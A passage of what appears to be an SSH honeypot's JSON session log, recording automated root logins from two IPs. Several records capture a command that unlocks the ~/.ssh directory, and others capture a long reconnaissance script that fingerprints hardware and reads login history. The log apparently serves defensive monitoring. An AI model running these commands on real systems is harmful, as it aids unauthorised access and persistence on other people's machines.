  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:28:12.532386+00:00",
  "ended_at": "2026-08-27T04:32:13.060382+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "712e374d-ad5b-4fa9-94f0-6047a62aca36",
  "name": "murky-wiry-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:26:58.939108+00:00",
  "ended_at": "2026-08-27T04:26:59.574316+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f481d93a-a18e-4bc4-9505-49c6d36c05ab",
  "name": "leafy-pleasant-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:25:16.264465+00:00",
  "ended_at": "2026-08-27T04:25:17.694392+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "6710736e-9b8e-4881-86c5-b7a02b6cf79b",
  "name": "meadow-thrifty-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58766,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:25:01.087333+00:00",
  "ended_at": "2026-08-27T04:25:01.977913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fc7c7e2-bfc8-4913-8636-304975842047",
  "name": "prairie-grumpy-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:24:59.536593+00:00",
  "ended_at": "2026-08-27T04:24:59.826844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0d42f6cd-ed45-4ec1-9bcf-162521a96664",
  "name": "plush-plucky-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 44586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:22:56.399726+00:00",
  "ended_at": "2026-08-27T04:22:56.614404+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "723e68a6-aa14-4b6e-b2c4-66eb059a85b1",
  "name": "dutiful-icy-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:20:59.920863+00:00",
  "ended_at": "2026-08-27T04:21:00.097770+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7",
  "name": "somber-balmy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:19:17.948751+00:00",
  "ended_at": "2026-08-27T04:19:18.567224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "402624da-f9dc-4241-9671-d596742788ab",
  "name": "arctic-loyal-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:19:10.187786+00:00",
  "ended_at": "2026-08-27T04:19:11.482471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf6575f5-ba8f-4f3a-80b4-696dd9ad24af",
  "name": "scarlet-burly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 38630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:18:49.835661+00:00",
  "ended_at": "2026-08-27T04:18:50.039049+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "af31a1f6-d84c-49e4-8900-ba2ed680af25",
  "name": "plush-austere-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf 